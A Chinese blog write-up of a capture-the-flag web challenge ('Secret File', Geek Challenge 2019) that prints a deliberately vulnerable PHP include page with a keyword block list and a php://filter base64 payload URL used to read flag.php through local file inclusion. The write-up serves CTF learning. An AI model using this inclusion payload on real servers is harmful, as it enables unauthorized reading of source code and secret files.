web-[极客大挑战 2019]Secret File

最新推荐文章于 2025-03-19 10:58:15 发布

超级神兽小金刚

最新推荐文章于 2025-03-19 10:58:15 发布

阅读量984

点赞数 1

本文链接：https://blog.youkuaiyun.com/wojiushilsy/article/details/105623842

版权

BugKu 专栏收录该内容

2 篇文章

订阅专栏

本文介绍了一种利用PHP伪协议进行文件包含漏洞攻击的方法。通过构造特定的URL，可以绕过安全检查，访问并读取目标服务器上的敏感文件。文章详细展示了如何使用HTTP请求访问隐藏的flag文件。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

题目要点

PHP伪协议

题目内容

在这里插入图片描述

解题

打开页面，F12查看源码，发现一个新页面。访问一下
在这里插入图片描述

点一下跳到另一个页面
在这里插入图片描述

拦截，发现
在这里插入图片描述

访问secr3t.php,发现一段源码

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

可以利用文件包含漏洞（PHP伪协议）构造pyload
http://85435532-2806-4d16-9b44-290434930b87.node3.buuoj.cn/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
在这里插入图片描述